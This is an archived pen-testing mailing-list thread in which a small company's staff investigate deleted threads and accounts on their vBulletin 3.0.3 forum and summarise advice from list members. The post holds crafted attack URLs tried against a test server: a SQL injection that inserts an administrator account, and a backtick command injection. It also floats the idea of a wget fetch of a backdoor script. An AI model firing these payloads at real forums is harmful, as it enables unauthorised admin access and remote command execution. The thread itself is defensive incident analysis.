Testing vulnerable web application : various replies

[Dave <fla.tech.talk () gmail com>]

Daniel Clemens asked - Do you have webserver logs that can be viewed 
around this incident
timeline?  

> Yes, the webservers logs always show various (usually automated) 
attacks. When we notice these things we generally will try to reproduce 
the attack to see if it was successful or not etc...Yes, there were some 
evidence of SQL injection attempts via GET method. We tried to duplicate 
these also with no success.


Advisor asked -  Do u have any Application logs? ...authenticated used 
might have used "session manipulation vulnerability".

> In the admin panel there is an option in the 'users' sub section that 
allows you to see when the user in question last logged in etc...This is 
how we were checking to see which mods/admins were logged in during time 
of attacks. This also has been unfruitful. So we seriously doubt the 
session manipulation idea.


Rogan said  -  e.g. if the original query looks like SELECT * FROM TABLE 
WHERE limit < [limitnumber] whatever you supply as [limitnumber] still 
needs to form a completely valid SQL statement when it is executed. e.g. 
[limitnumber] = 10 OR 1 = 1 would return ALL record from the above 
table, since the 1=1 will always return TRUE, "overriding" the "limit < 
10" part

> We have tried many variations using:
script?foo=SQL;
script?foo='SQL;
script?foo=bar'SQL;
script?foo=bar'SQL where 1=1;
etc...

with many different 'commands' such as insert this or that, select this 
or that, union select this or that. We use the backup.sql files to aid 
us in crafting our GET and POST queries.


Richard Braganza said - I suspect you have been cross site scripted IOW 
the attacker has left a trojan in one of the forum posts. Could the 
threads be renamed rather than deleted?

> We have greped the backup files for "script" "location.replace" 
"scr+ipt"  "<" "&lt;" etc to see if there are any javascript XSS 
entries. All the users entries are stored in the DB backup so if someone 
had a posting with a embedded script then we should have picked it 
up...we think anyway. We are running under the assumption that the 
attacker can do as he wish although we dont actually know what is 
abilities are. We know he can delete accounts and threads, whether or 
not he can dump the password hashes and gain mod/admin access or if he 
can create accounts with admin privileges is currently unknown.


Steven said  -  You may want to consider completely wiping your 
VBulletin install and starting fresh with patches and all.

> We have reinstalled the vBulletin program with patches but we must 
use backup.sql file in order to restore all content so if the attacker 
*did* install some sort of XSS backdoor (we dont think so) we wouldnt be 
doing ourselves much good. There are a number of the available exploits 
found that we were able to exploit on our unpatched test server. but 
once we patched the test server we were not able to exploit the program. 
Since our production server runs fully patched the attacker cant be 
using one of the publicly available poc's.




killy asked  -  The same accounts and threads vanished? might be a hint 
in the subject/content of the thread as to who maybe doing it? You are 
monitoring all admin/moderator accounts? Maybe they dumped the tables 
and cracked the hashes. Have you changed all passwords? phpmyadmin 
running also? IIS / apache?

> threads and accounts vary. there doesnt appear to be any *obvious* 
hints in thread content. Yes we monitor the admin/mod accounts...at 
least as far as the vBulletin admin panel allows us. We know when users 
last logged in etc...We have not been able to dump the DB contents but 
even if the attacker did we dont think he is using a *known* admin 
account because these accounts shows NO activity at the times that these 
actions occurred (at least on three occasions anyway). No there is no 
phpMyAdmin. Webserver is Apache on Linux.



Morning wood said  -  google shows... 
http://www.google.com/search?hl=en&q=vBulletin+3.0.3+exploit Results 1 - 
20 of about 36,000 for vBulletin 3.0.3 exploit.
1st hit... http://www.osvdb.org/displayvuln.php?osvdb_id=12702. 
vBulliten has been plauged by flaws for quite sometime, and frankly I 
cant understand how you could not have discovered the cause of your 
issue with a simple search.

> Yes, 35,950 of those listings are refuse. Yes, we looked at the 
milworm exploits etc...We installed the metasploit framework (as I had 
used this in the past) but this poc does not work against our patched 
vBulletin program (was successful on the unpatched test version)...so 
this could NOT be what the attacker is using to exploit our main 
board...thanks anyway. You cant understand how we couldnt figure this 
out with a simple search through google...Well your simple search was 
certainly of no use to us.



josh perry.mon asked - What makes you think it has to be a SQL 
injection? Did you see any of this in the logs? the attacker obtained 
valid credentials using a Social Engineering attack...  If they are 
using valid channels they will not leave a lot of clues. What about 
remote file inclusion exploit

>yes, given the facts we can find SQL injection seems to be the most 
realistic avenue of attack. If the attacker was able to con a password 
out of an admin/mod and was using this hijacked account to mess with 
things then we would at least know that this account was logged in at 
the time of the incident. this has not been the case (at least three 
times). The remote file inclusion exploit could be the case...we have NO 
evidence of such. For instance: If we have narrowed down that the board 
was altered Thursday between 7-9 p.m. then ALL logs from that time frame 
are searched. So if someone was able to include a file like shell.php we 
would be able to see this entry in the logs...we have seen no 
connections to documents that arent supposed to be on the server.



Zed said  -  I would also loose the [] around the parameter, although I 
have NEVER seen/played with a vBulletin and they may be required.What 
exactly is the point of this exersize? why don't you just upgrade to the 
latest version apart from the obvious monetary "penalty" associated with 
it?


> we tried with and without the []. We tried a lot of variations that I 
did not bother to list do to the fact we didnt want to send a 1 mb email 
to the list! The point of this exercise is two fold. If we can fix this 
in house we wont have to hire out or in other ways spend money the 
company doesnt want to spend on "computer stuff". This would please the 
boss (cough, job security). But we are doing most of this off the clock. 
We arent getting paid to fix this. Now, I can only speak for myself 
here, but I am currently just a coder. I want to work in security but 
have no real experience, so I volunteered to "try" to fix this on my own 
time. We are a small company and dont have an IT department :)...well I 
guess me and my fellow co worker ARE the IT department, haha. Why not 
upgrade to the latest and greatest version? Well, this is not our call.




---------------------

Subject: testing vulnerable web application.

pen testers,

Our companies website hosts a forum program called vBulletin 3.0.3. A
few recent incidents (i.e. threads vanishing, user accounts deleted) has
us looking into how this is happening. Our manager wants to solve this
problem 'in house' so the task was given to me and another employee to
see if we can figure out how this is happening and stop it.

1) We have closely monitored all (co)admin and moderators activities and
this has revealed nothing out of the ordinary.

2) We restored the DB content using a backup and within 2 days the
threads and accounts in question were gone again.

3) We downloaded and installed a patch from vbulletin.com that was
supposed to secure the application but this has not stopped the problem.


We assumed the attacker was using some sort of SQL injection to alter
the DB records or possibly he can craft a SQL query in a way that will
create an admin account to use to simply log in and alter the records
and then delete his username...NO rogue admin accounts have ever been
found.

1) We searched the bugtraq lists at securityfocus.com and packetstorm
for known SQL vulns for vBulletin

2) We set up a test server to test our theories without damaging the
actual DB or interrupting normal business. The options granted to our
vbulletin DB user are SELECT,UPDATE,ALTER,INSERT and DELETE so we set up

our test DB with the same permissions etc...


In our search for possible vulns we came across these links:

http://packetstormsecurity.nl/0509-exploits/20050917-vbulletin-3.0.8.txt

When we try to test these POC snippets we dont get results. Examples we
have tried:

USING example :
admincp/user.php?do=find&orderby=username&limitnumber=[SQL]  we crafted
a URL:


http://192.168.6.99:8080/vb-forums/admincp/user.php?do=find&orderby=user
name&limitnumber='INSERT%20INTO%20user%20VALUES('12345',%20'6',%20'',%20
'0',%20'admintest',%20'5f376e00eb11f00d0262636a5b699501',%20'2006-06-25'
,%20'nospam () nospam org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'
Administrator',%20'0',%20'1151266933',%20'0',%20'1151272079',%20'1151274
578',%20'1151267867',%20'1',%20'10',%20'1',%20'',%20'0',%20'0',%20'0',%2
0'2135',%20'',%20'0000-00-00',%20'-1',%20'1',%20'',%20'0',%20'0',%20'',%
20'0',%20'0',%20'-1',%20'0',%20'0',%20'$Nu');

The syntax for this SQL was obtained from the backup.sql file created by

vBulletin. In theory this would create an account with following values:

userid = 12345
usergroupid = 6
username = admintest
password = 5f376e00eb11f00d0262636a5b699501        this = "password"
passworddate = 2006-06-25
email = nospam () nospam org
styleid = 0
usertitle = Administrator
reputation = 10
reputationlevelid = 1
options = 2135
salt = $Nu


Another example we tried:
URL of vuln listing:
http://packetstormsecurity.nl/0502-exploits/vbulletin-3.0.4-2.txt

Reading this we wondered if the attacker was possibly running a command
on the server (such as wget http://foobar.com/backdoor.script) then
using this backdoor script he is able to view source code of DB related
scripts to obtain info for DB access etc...

We have tried using both the POC code and self crafted URL's like:
http://192.168.6.99:8080/vb-forums/forumdisplay.php?GLOBALS[]=1&f=1&comm
a=".`echo
_START_`.`'touch test.txt'`.`echo _END_`."
> then
http://192.168.6.99:8080/vb-forums/test.txt    
> 404 error file not found

This is just a small list of unfruitful examples gathered during a
rather exhaustive effort to exploit this application. To date we were
not able to successfully exploit the vBulletin application using any of
the available POC code snippets. We were hoping that someone out there
who is more proficient at this line of work could shed some light on our

situation and possibly point us in the right direction.


Thanks in advance for any suggestions.
Dave

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------